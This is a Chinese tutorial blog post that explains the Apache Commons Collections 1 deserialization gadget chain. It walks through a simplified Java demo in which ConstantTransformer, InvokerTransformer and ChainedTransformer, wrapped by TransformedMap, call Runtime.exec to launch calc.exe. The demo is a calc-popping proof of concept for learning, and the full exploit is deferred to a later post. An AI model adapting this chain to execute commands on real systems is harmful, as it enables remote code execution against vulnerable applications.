给个关注?宝儿!
给个关注?宝儿!
给个关注?宝儿!
目录
众所周知,CommonCollections利⽤链是作为反序列化学习不可绕i过的一关
图解
先挂一张wh1te8ea的利用链图解,非常直观!
代码demo
分析:
代码使用了phith0n大佬的代码,对原本复杂的源码进行了优化,适合复现以及更加深刻理解
demo代码:
package test.org.vulhub.Ser;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;public class CommonCollections1 {public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.getRuntime()),new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"C:\\WINDOWS\\system32\\calc.exe"}),};Transformer transformerChain = newChainedTransformer(transformers);Map innerMap = new HashMap();Map outerMap = TransformedMap.decorate(innerMap, null,transformerChain);outerMap.put("test", "xxxx");}
}
exec执行命令:C:\WINDOWS\system32\calc.exe
运行后计算机弹出
涉及的接口与类:
TransformedMap
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可
以执⾏⼀个回调。我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer,
valueTransformer);
其中,keyTransformer是处理新元素的Key的回调,valueTransformer是处理新元素的value的回调。
我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类。
Transformer
Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:
public interface Transformer {public Object transform(Object input);
}
TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调
函数“,这个回调的参数是原始对象。
ConstantTransformer
ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个
对象,并在transform⽅法将这个对象再返回:
public ConstantTransformer(Object constantToReturn) {super();iConstant = constantToReturn; }
public Object transform(Object input) {return iConstant; }
所以他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。
InvokerTransformer
InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序
列化能执⾏任意代码的关键。
在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数
是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[]
args) {super();iMethodName = methodName;iParamTypes = paramTypes;iArgs = args;}
后⾯的回调transform⽅法,就是执⾏了input对象的iMethodName⽅法:
public Object transform(Object input) {if (input == null) {return null;}try {Class cls = input.getClass();Method method = cls.getMethod(iMethodName, iParamTypes);return method.invoke(input, iArgs);} catch (NoSuchMethodException ex) {throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' does not exist");} catch (IllegalAccessException ex) {throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' cannot be accessed");} catch (InvocationTargetException ex) {throw new FunctorException("InvokerTransformer: The method '" +
iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);}
}
ChainedTransformer
ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串
在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,我们画⼀个图做示意:
它的代码也⽐较简单:
public ChainedTransformer(Transformer[] transformers) {super();iTransformers = transformers; }
public Object transform(Object object) {for (int i = 0; i < iTransformers.length; i++) {object = iTransformers[i].transform(object);}return object; }
dome理解
我创建了⼀个ChainedTransformer,其中包含两个Transformer:第⼀个是ConstantTransformer,
直接返回当前环境的Runtime对象;第⼆个是InvokerTransformer,执⾏Runtime对象的exec⽅法,参
数是 C:\WINDOWS\system32\calc.exe
当然,这个transformerChain只是⼀系列回调,我们需要⽤其来包装innerMap,使⽤的前⾯说到的
TransformedMap.decorate :
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
最后,怎么触发回调呢?就是向Map中放⼊⼀个新的元素:
outerMap.put("test", "xxxx"); 1
总结:
简化的demo给⼤家演示了CommonCollections利⽤链的执⾏流程,⽽且我
特地去掉了和反射相关的代码,所以⼤家可以看到本节demo中并没有涉及到反射相关的内容
实战的反序列化漏洞利用poc构造,放在下一篇